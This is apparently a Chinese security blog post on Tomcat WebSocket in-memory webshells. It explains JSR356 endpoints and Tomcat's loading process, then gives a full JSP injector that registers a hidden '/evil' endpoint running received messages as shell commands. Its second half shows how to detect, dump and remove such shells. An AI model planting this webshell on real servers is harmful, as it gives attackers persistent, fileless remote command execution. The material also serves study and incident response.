Tomcat WebSocket 型内存马

对 Tomcat WebSocket 型内存马的介绍

WS 前言

WebSocket 是一种全双工通信协议,即客户端可以向服务端发送请求,服务端也可以主动向客户端推送数据。这样的特点,使得它在一些实时性要求比较高的场景效果斐然(比如微信朋友圈实时通知、在线协同编辑等),主流浏览器以及一些常见服务端通信框架(Tomcat、Spring、Jetty、WebSphere、WebLogic 等)都对 WebSocket 进行了技术支持,本文都以 Tomcat 进行介绍讨论,其他框架也可实现 WebSocket 内存马

2013 年以前还没出 JSR356 标准,Tomcat 就对 Websocket 做了支持,自定义 API,再后来有了 JSR356,Tomcat 立马紧跟潮流,废弃自定义的 API,实现 JSR356 那一套,这就使得在Tomcat7.0.47之后的版本和之前的版本实现方式并不一样,接入方式也改变了,JSR356 是 Java 制定的 Websocket 编程规范,属于 Java EE 7 的一部分,所以要实现 Websocket 功能并不需要任何第三方依赖

根据 JSR356 规定, 建立 WebSocket 连接的服务器端和客户端,两端对称,可以互相通信。把通信端点抽象成类,就是Endpoint,每一个 Endpoint 对象代表 WebSocket 链接的一端,服务器端的叫ServerEndpoint,客户端的叫ClientEndpoint。客户端向服务端发送 WebSocket 握手请求,建立连接后就创建一个ServerEndpoint对象

WS 实现

ServerEndpoint 和 ClientEndpoint,有相同的生命周期事件(OnOpen、OnClose、OnError、OnMessage),不同之处是 ServerEndpoint 作为服务器端点,可以指定一个 URI 路径供客户端连接,ClientEndpoint 则没有,Endpoint 对象的生命周期方法如下:

  • onOpen:当开启一个新的会话时调用。这是客户端与服务器握手成功后调用的方法,等同于注解@OnOpen
  • onClose:当会话关闭时调用。等同于注解@OnClose
  • onError:当链接过程中异常时调用。等同于注解@OnError
  • onMessage:接收到消息时触发。等同于注解@OnMessage

服务器端的Endpoint有两种实现方式,一种是注解方式@ServerEndpoint,一种是继承抽象类Endpoint

  1. 使用注解实现:

    一个@ServerEndpoint注解应该有以下元素:

    • value:必要,String 类型,此 Endpoint 部署的 URI 路径
    • configurator:非必要,继承ServerEndpointConfig.Configurator的类,主要提供 ServerEndpoint 对象的创建方式扩展(如果使用 Tomcat 的 WebSocket 实现,默认是反射创建 ServerEndpoint 对象)
    • decoders:非必要,继承 Decoder 的类,用户可以自定义一些消息解码器,比如通信的消息是一个对象,接收到消息可以自动解码封装成消息对象
    • encoders:非必要,继承 Encoder 的类,此端点将使用的编码器类的有序数组,定义解码器和编码器的好处是可以规范使用层消息的传输
    • subprotocols:非必要,String 数组类型,用户在 WebSocket 协议下自定义扩展一些子协议

    例如:

    1
    @ServerEndpoint(value="/ws/{userId}", encoders={MessageEncoder.class}, decoders={MessageDecoder.class}, configurator=MyServerConfigurator.class)

    @ServerEndpoint可以注解到任何类上,但是想实现服务端的完整功能,还需要配合几个生命周期的注解使用,这些生命周期注解只能注解在方法上:

    • @OnOpen建立连接时触发

    • @OnClose关闭连接时触发

    • @OnError发生异常时触发

    • @OnMessage接收到消息时触发

  2. 集成抽象类实现:

    继承抽象类Endpoint,重写几个生命周期方法,实现两个接口,比加注解 @ServerEndpoint方式更麻烦,其中重写onMessage需要实现接口jakarta.websocket.MessageHandler,给 Endpoint 分配 URI 路径需要实现接口jakarta.websocket.server.ServerApplicationConfig,而URI pathencodersdecodersconfigurator等配置信息由jakarta.websocket.server.ServerEndpointConfig管理,默认实现jakarta.websocket.server.DefaultServerEndpointConfig,通过编程方式实现 Endpoint,比如:

    1
    ServerEndpointConfig serverEndpointConfig = ServerEndpointConfig.Builder.create(WebSocketServerEndpoint3.class, "/ws/{userId}").decoders(decoderList).encoders(encoderList).configurator(new MyServerConfigurator()).build();

下面基于注解编写一个 WebSocket 的聊天室,依赖(我的环境是 JDK8u341 + Tomcat 8.5.84):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
<scope>provided</scope>
</dependency>

<dependency>
<groupId>javax</groupId>
<artifactId>javaee-api</artifactId>
<version>7.0</version>
<scope>provided</scope>
</dependency>

<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.84</version>
<scope>provided</scope>
</dependency>

<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-websocket</artifactId>
<version>8.5.84</version>
<scope>provided</scope>
</dependency>
</dependencies>

类 demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
package WebSocket;

import java.io.IOException;
import java.util.concurrent.CopyOnWriteArraySet;

import javax.websocket.*;
import javax.websocket.server.ServerEndpoint;

// @ServerEndpoint 注解是一个类层次的注解,它的功能主要是将目前的类定义成一个 WebSocket 服务器端
// 注解的值将被用于监听用户连接的终端访问 URL 地址,客户端可以通过这个 URL 来连接到 WebSocket 服务器端
@ServerEndpoint("/websocket")
public class demo {
// 静态变量,用来记录当前在线连接数,应该把它设计成线程安全的
private static int onlineCount = 0;

// concurrent 包的线程安全 Set,用来存放每个客户端对应的 demo 对象
// 若要实现服务端与单一客户端通信的话,可以使用 Map 来存放,其中 Key 可以为用户标识
private static final CopyOnWriteArraySet<demo> webSocketSet = new CopyOnWriteArraySet<>();

// 与某个客户端的连接会话,需要通过它来给客户端发送数据
private Session session;

// 连接建立成功调用的方法
// session 可选的参数,session 为与某个客户端的连接会话,需要通过它来给客户端发送数据
@OnOpen
public void onOpen(Session session) {
this.session = session;
// 加入 set 中
webSocketSet.add(this);
// 在线数加 1
addOnlineCount();
System.out.println("有新连接加入!当前在线人数为" + getOnlineCount());
}

// 连接关闭调用的方法
@OnClose
public void onClose() {
// 从 set 中删除
webSocketSet.remove(this);
// 在线数减 1
subOnlineCount();
System.out.println("有一连接关闭!当前在线人数为" + getOnlineCount());
}

// 收到客户端消息后调用的方法
// message 客户端发送过来的消息,session 可选的参数
@OnMessage
public void onMessage(String message, Session session) {
System.out.println("来自客户端的消息:" + message);
// 群发消息
for(demo item: webSocketSet) {
try {
item.sendMessage(message);
} catch (IOException e) {
e.printStackTrace();
}
}
}

// 发生错误时调用
@OnError
public void onError(Session session, Throwable error) {
System.out.println("发生错误");
error.printStackTrace();
}

// 这个方法与上面几个方法不一样。没有用注解,是根据自己需要添加的方法
public void sendMessage(String message) throws IOException {
this.session.getBasicRemote().sendText(message);
// this.session.getAsyncRemote().sendText(message);
}

public static synchronized int getOnlineCount() {
return onlineCount;
}

public static synchronized void addOnlineCount() {
demo.onlineCount++;
}

public static synchronized void subOnlineCount() {
demo.onlineCount--;
}
}

对应的 JSP 文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<%@ page language="java" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<head>
<title>Java后端WebSocket的Tomcat实现</title>
</head>
<body>
Welcome
<br/><label for="text"></label><input id="text" type="text"/>
<button onclick="send()">发送消息</button><hr/>
<button onclick="closeWebSocket()">关闭WebSocket连接</button><hr/>
<div id="message"></div>
</body>

<script type="text/javascript">
let websocket = null;
// 判断当前浏览器是否支持 WebSocket
if ('WebSocket' in window) {
websocket = new WebSocket("ws://localhost:8080/TomcatShell_war_exploded/websocket");
} else {
alert('当前浏览器 Not support websocket')
}

// 连接发生错误的回调方法
websocket.onerror = function () {
setMessageInnerHTML("WebSocket连接发生错误");
};

// 连接成功建立的回调方法
websocket.onopen = function () {
setMessageInnerHTML("WebSocket连接成功");
}

// 接收到消息的回调方法
websocket.onmessage = function (event) {
setMessageInnerHTML(event.data);
}

// 连接关闭的回调方法
websocket.onclose = function () {
setMessageInnerHTML("WebSocket连接关闭");
}

// 监听窗口关闭事件,当窗口关闭时,主动去关闭 WebSocket 连接,防止连接还没断开就关闭窗口,server 端会抛异常
window.onbeforeunload = function () {
closeWebSocket();
}

// 将消息显示在网页上
function setMessageInnerHTML(innerHTML) {
document.getElementById('message').innerHTML += innerHTML + '<br/>';
}

// 关闭 WebSocket 连接
function closeWebSocket() {
websocket.close();
}

// 发送消息
function send() {
const message = document.getElementById('text').value;
websocket.send(message);
}
</script>
</html>

访问:http://localhost:8080/TomcatShell_war_exploded/WebSocket/demo.jsp(注意修改路径),可以模拟多个用户登陆的情况(也可以直接用 wscat 等工具连接 WebSocket 服务器),效果如图:

Demo

加载过程

Tomcat 提供了一个javax.servlet.ServletContainerInitializer的实现类org.apache.tomcat.websocket.server.WsSciTomcat 的 WebSocket 加载是通过 SCI 机制完成的,WsSCI 可以处理的类型有三种:

  • 添加了注解@ServerEndpoint的类
  • Endpoint 的子类
  • ServerApplicationConfig 的实现类

Tomcat 在 Web 应用启动时会在 StandardContext 的 startInternal 方法里通过 WsSci 的 onStartup 方法初始化 Listener 和 servlet,再扫描 classpath下带有注解@ServerEndpoint的类和 Endpoint 子类

如果当前应用存在 ServerApplicationConfig 实现,则通过 ServerApplicationConfig 获取 Endpoint 子类的配置(ServerEndpointConfig 实例,包含了请求路径等信息)和符合条件的注解类,通过调用 addEndpoint 将结果注册到 WebSocketContainer 上;如果当前应用没有定义 ServerApplicationConfig 的实现类,那么 WsSci 默认只将所有扫描到的注解式 Endpoint 注册到 WebSocketContainer。因此,如果采用可编程方式定义 Endpoint,那么必须添加 ServerApplicationConfig 实现

然后 startInternal 方法里为 ServletContext 添加一个过滤器org.apache.tomcat.websocket.server.WsFilter,它用于判断当前请求是否为 WebSocket 请求,以便完成握手(所以任何 Tomcat 都可以用 java-memshell-scanner 看到 WsFilter)

既然要插入恶意 Filter,那么我们就需要在 Tomcat 启动过程中寻找添加 FIlter 的方法,而 filterDef、filterMap、filterConfigs 都是 StandardContext 对象的属性,并且也有相应的 add 方法,那么我们就需要先获取 StandardContext,再调用相应的方法

WebSocket 内存马也很类似,上一节提到了 WsSci 的 onStartup 扫描 classpath 下带有注解@ServerEndpoint的类和 Endpoint 子类,并且调用 addEndpoint 方法注册到 WebSocketContainer 上。那么我们应该从 WebSocketContainer 出发,而 WsServerContainer 是在 StandardContext 里面创建的,那么,显而易见的:

  1. 获取当前的 StandardContext
  2. 通过 StandardContext 获取 ServerContainer
  3. 定义一个恶意类,并创建一个 ServerEndpointConfig,给这个恶意类分配 URL Path
  4. 调用ServerContainer.addEndpoint方法,将创建的 ServerEndpointConfig 添加进去
1
2
3
ServerContainer container = (ServerContainer) req.getServletContext().getAttribute(ServerContainer.class.getName());
ServerEndpointConfig config = ServerEndpointConfig.Builder.create(evil.class, "/ws").build();
container.addEndpoint(config);

上面的代码片段是整体思想的展示,下面的展示了这种木马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="javax.websocket.*" %>
<%@ page import="java.io.*" %>

<%!
public static class C extends Endpoint implements MessageHandler.Whole<String> {

private Session session;

@Override
public void onMessage(String s) {
try {
Process process;

boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
if (bool) {
process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s});
} else {
process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s});
}

InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();

int i;
while ((i = inputStream.read()) != -1)
stringBuilder.append((char)i);
inputStream.close();

process.waitFor();
session.getBasicRemote().sendText(stringBuilder.toString());
} catch (Exception exception) {
exception.printStackTrace();
}
}

@Override
public void onOpen(final Session session, EndpointConfig config) {
this.session = session;
session.addMessageHandler(this);
}
}
%>

<%
// String path = request.getParameter("path");
String path = "/evil";
ServletContext servletContext = request.getSession().getServletContext();
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, path).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());

try {
if (servletContext.getAttribute(path) == null) {
container.addEndpoint(configEndpoint);
servletContext.setAttribute(path, path);
}
out.println("success, connect url path: " + servletContext.getContextPath() + path);
} catch (Exception e) {
out.println(e.toString());
}
%>

先访问对应的路径(就是上面 JSP 所在的路径)把内存马激活加载进 Tomcat,然后使用 wscat 进行连接:

1
2
3
4
wscat -c ws://localhost:8080/TomcatShell_war_exploded/evil
Connected (press CTRL+C to quit)
> calc
<

注意路径、端口号和协议,使用 Java 而不是 JSP 也是可以注入的,其他地方都相似,重点在于 servletContext 的获取和激活注入内存马

内存马查杀

我们可以先来使用 Java 自带的 JVM 内存查看工具 HSDB 来 dump 出内存马的字节码,这个工具在 Java 根目录的 lib 目录下,我们进入那个目录,使用命令:

1
java -cp sa-jdi.jar sun.jvm.hotspot.HSDB

打开这个工具,在 File 下拉菜单里选择附加到进程,输入 Java 的进程号,然后在 Tools 下拉菜单选择 Class Browser,搜索Endpoint

HSDB

可以看到第一个类public abstract class javax.websocket.Endpoint,我们点进去,再选择View Class Hierarchy

Find

可以看到一个类WebSocket.Evil,这就是我们的内存马,可以点击去然后选择Create .class File,这样就拿到了我们的内存马的字节码(在 Java 根目录下),然后就可以反编译进行分析了,这里还有一种方法,可以更快的查杀内存马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package WebSocket;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;

@WebServlet(urlPatterns = "/ws/find")
public class Find extends HttpServlet {

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
List<ServerEndpointConfig> configs;
try {
configs = getEndpointConfigs(req);
for (ServerEndpointConfig cfg : configs) {
resp.setContentType("text/html");
PrintWriter out = resp.getWriter();
out.println("<h3>Path: " + cfg.getPath() + "</h3>");
out.println("<p>name: " + cfg.getEndpointClass().getName() + "</p");
out.println("<p>classloader name: " + cfg.getEndpointClass().getClassLoader().getClass().getName() + "</p>");
out.println("<a href=http://localhost:8080/TomcatShell_war_exploded/WebSocket/dump.jsp?class=" + cfg.getEndpointClass().getName() + ">dump</a>");
out.println("<a href=http://localhost:8080/TomcatShell_war_exploded/WebSocket/dump.jsp?kill=" + cfg.getPath() + ">kill</a>");
}
} catch (Exception e) {
e.printStackTrace();
}
}

public static synchronized List<ServerEndpointConfig> getEndpointConfigs(HttpServletRequest request) throws Exception {
ServerContainer sc = (ServerContainer) request.getServletContext().getAttribute(ServerContainer.class.getName());
Field _configExactMatchMap = sc.getClass().getDeclaredField("configExactMatchMap");
_configExactMatchMap.setAccessible(true);
ConcurrentHashMap configExactMatchMap = (ConcurrentHashMap) _configExactMatchMap.get(sc);

Class _ExactPathMatch = Class.forName("org.apache.tomcat.websocket.server.WsServerContainer$ExactPathMatch");
Method _getConfig = _ExactPathMatch.getDeclaredMethod("getConfig");
_getConfig.setAccessible(true);

List<ServerEndpointConfig> configs = new ArrayList<>();
Iterator<Map.Entry<String, Object>> iterator = configExactMatchMap.entrySet().iterator();

while (iterator.hasNext()) {
Map.Entry<String, Object> entry = iterator.next();
ServerEndpointConfig config = (ServerEndpointConfig) _getConfig.invoke(entry.getValue());
configs.add(config);
}
return configs;
}
}

另一个文件WebSocket/dump.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<%@ page import="com.sun.org.apache.bcel.internal.Repository" %>
<%@ page import="java.net.URLEncoder" %>
<%@ page import="org.apache.tomcat.websocket.server.WsServerContainer" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Map" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%
// dump 部分的代码需要写在 JSP 里,否则部分情况下会找不到要 dump 的 class
if (request.getParameter("class") != null) {
String className = request.getParameter("class");
try {
byte[] classBytes = Repository.lookupClass(Class.forName(className)).getBytes();
response.addHeader("content-Type", "application/octet-stream");
String filename = Class.forName(className).getSimpleName() + ".class";

String agent = request.getHeader("User-Agent");
if (agent.toLowerCase().indexOf("chrome") > 0) {
response.addHeader("content-Disposition", "attachment;filename=" + new String(filename.getBytes("UTF-8"), "ISO8859-1"));
} else {
response.addHeader("content-Disposition", "attachment;filename=" + URLEncoder.encode(filename, "UTF-8"));
}

ServletOutputStream outDumper = response.getOutputStream();
outDumper.write(classBytes, 0, classBytes.length);
outDumper.close();

} catch (Exception e) {
e.printStackTrace();
}
}

if (request.getParameter("kill") != null) {
String webSocket = request.getParameter("kill");

ServletContext servletContext = request.getServletContext();
WsServerContainer wsServerContainer = (WsServerContainer) servletContext.getAttribute(ServerContainer.class.getName());

Class<?> obj = Class.forName("org.apache.tomcat.websocket.server.WsServerContainer");
Field field = obj.getDeclaredField("configExactMatchMap");
field.setAccessible(true);
Map<String, Object> configExactMatchMap = (Map<String, Object>) field.get(wsServerContainer);

configExactMatchMap.remove(webSocket);
out.write("<input type=\"button\" name=\"Submit\" onclick=\"javascript:window.location.replace(document.referrer);\" value=\"返回上一页\">");
}
%>
</body>
</html>

效果如下(代码参考了:c0ny1 java-memshell-scannerruyueattention java-memshell-scanner):

Info

这样不仅可以 dump 字节码,还可以清除内存马,但是对于已连接的 WebSocket 似乎不会生效,也就设说无法使已经连接上服务端木马的连接断开,然后我起初在 Session 类里发现了close()方法,但是没有找到一个很好的返回所有已建立 Session 连接的接口,然后在org.apache.tomcat.websocket.server.WsServerContainer里发现了destroy()方法,它的作用是这样的:

Cleans up the resources still in use by WebSocket sessions created from this container. This includes closing sessions and cancelling Futures associated with blocking read/writes

清除从此容器创建的 WebSocket 会话仍在使用的资源。 这包括关闭会话和取消与阻塞读/写相关的 Futures

发现这样确实可以解决上面的问题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<%@ page import="com.sun.org.apache.bcel.internal.Repository" %>
<%@ page import="java.net.URLEncoder" %>
<%@ page import="org.apache.tomcat.websocket.server.WsServerContainer" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Map" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%
// dump 部分的代码需要写在 JSP 里,否则部分情况下会找不到要 dump 的 class
if (request.getParameter("class") != null) {
String className = request.getParameter("class");
try {
byte[] classBytes = Repository.lookupClass(Class.forName(className)).getBytes();
response.addHeader("content-Type", "application/octet-stream");
String filename = Class.forName(className).getSimpleName() + ".class";

String agent = request.getHeader("User-Agent");
if (agent.toLowerCase().indexOf("chrome") > 0) {
response.addHeader("content-Disposition", "attachment;filename=" + new String(filename.getBytes("UTF-8"), "ISO8859-1"));
} else {
response.addHeader("content-Disposition", "attachment;filename=" + URLEncoder.encode(filename, "UTF-8"));
}

ServletOutputStream outDumper = response.getOutputStream();
outDumper.write(classBytes, 0, classBytes.length);
outDumper.close();

} catch (Exception e) {
e.printStackTrace();
}
}

if (request.getParameter("kill") != null) {
String webSocket = request.getParameter("kill");

ServletContext servletContext = request.getServletContext();
WsServerContainer wsServerContainer = (WsServerContainer) servletContext.getAttribute(ServerContainer.class.getName());

Class<?> obj = Class.forName("org.apache.tomcat.websocket.server.WsServerContainer");
Field field = obj.getDeclaredField("configExactMatchMap");
field.setAccessible(true);
Map<String, Object> configExactMatchMap = (Map<String, Object>) field.get(wsServerContainer);

wsServerContainer.destroy();

configExactMatchMap.remove(webSocket);
out.write("<input type=\"button\" name=\"Submit\" onclick=\"javascript:window.location.replace(document.referrer);\" value=\"返回上一页\">");
}
%>
</body>
</html>

但这样似乎会影响到其它正常的 WebSocket 连接,接着上面的思路,找到了一种能返回所有(这里的所有是指定 WebSocket 路径下的所有连接)Session 的方法,这样就可以只断开我们所指定的 WebSocket 木马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<%@ page import="com.sun.org.apache.bcel.internal.Repository" %>
<%@ page import="java.net.URLEncoder" %>
<%@ page import="org.apache.tomcat.websocket.server.WsServerContainer" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Map" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="javax.websocket.Session" %>
<%@ page import="java.util.Set" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%
// dump 部分的代码需要写在 JSP 里,否则部分情况下会找不到要 dump 的 class
if (request.getParameter("class") != null) {
String className = request.getParameter("class");
try {
byte[] classBytes = Repository.lookupClass(Class.forName(className)).getBytes();
response.addHeader("content-Type", "application/octet-stream");
String filename = Class.forName(className).getSimpleName() + ".class";

String agent = request.getHeader("User-Agent");
if (agent.toLowerCase().indexOf("chrome") > 0) {
response.addHeader("content-Disposition", "attachment;filename=" + new String(filename.getBytes("UTF-8"), "ISO8859-1"));
} else {
response.addHeader("content-Disposition", "attachment;filename=" + URLEncoder.encode(filename, "UTF-8"));
}

ServletOutputStream outDumper = response.getOutputStream();
outDumper.write(classBytes, 0, classBytes.length);
outDumper.close();

} catch (Exception e) {
e.printStackTrace();
}
}

if (request.getParameter("kill") != null) {
int count = 0;
String webSocket = request.getParameter("kill");

ServletContext servletContext = request.getServletContext();
WsServerContainer wsServerContainer = (WsServerContainer) servletContext.getAttribute(ServerContainer.class.getName());

Class<?> obj = Class.forName("org.apache.tomcat.websocket.server.WsServerContainer");
Field field = obj.getDeclaredField("configExactMatchMap");
field.setAccessible(true);
Map<String, Object> configExactMatchMap = (Map<String, Object>) field.get(wsServerContainer);

Method method = Class.forName("org.apache.tomcat.websocket.WsWebSocketContainer").getDeclaredMethod("getOpenSessions", new Class[]{Object.class});
method.setAccessible(true);
Set<Session> sessions = (Set<Session>) method.invoke(wsServerContainer, webSocket);
for (Session s : sessions) {
System.out.println(s);
count++;
s.close();
}

configExactMatchMap.remove(webSocket);
out.write("清除了 " + webSocket + " 关闭了 " + count + " 个已存在的 WebSocket 连接</br>");
out.write("<input type=\"button\" name=\"Submit\" onclick=\"javascript:window.location.replace(document.referrer);\" value=\"返回上一页\">");
}
%>
</body>
</html>

对指定路径下的所有 WebSocket 连接调用close()方法,然后把对应的路径从configExactMatchMap移除:

Clear


本文参考链接:

Tomcat WebSocket内存马原理浅析

websocket 新型内存马的应急响应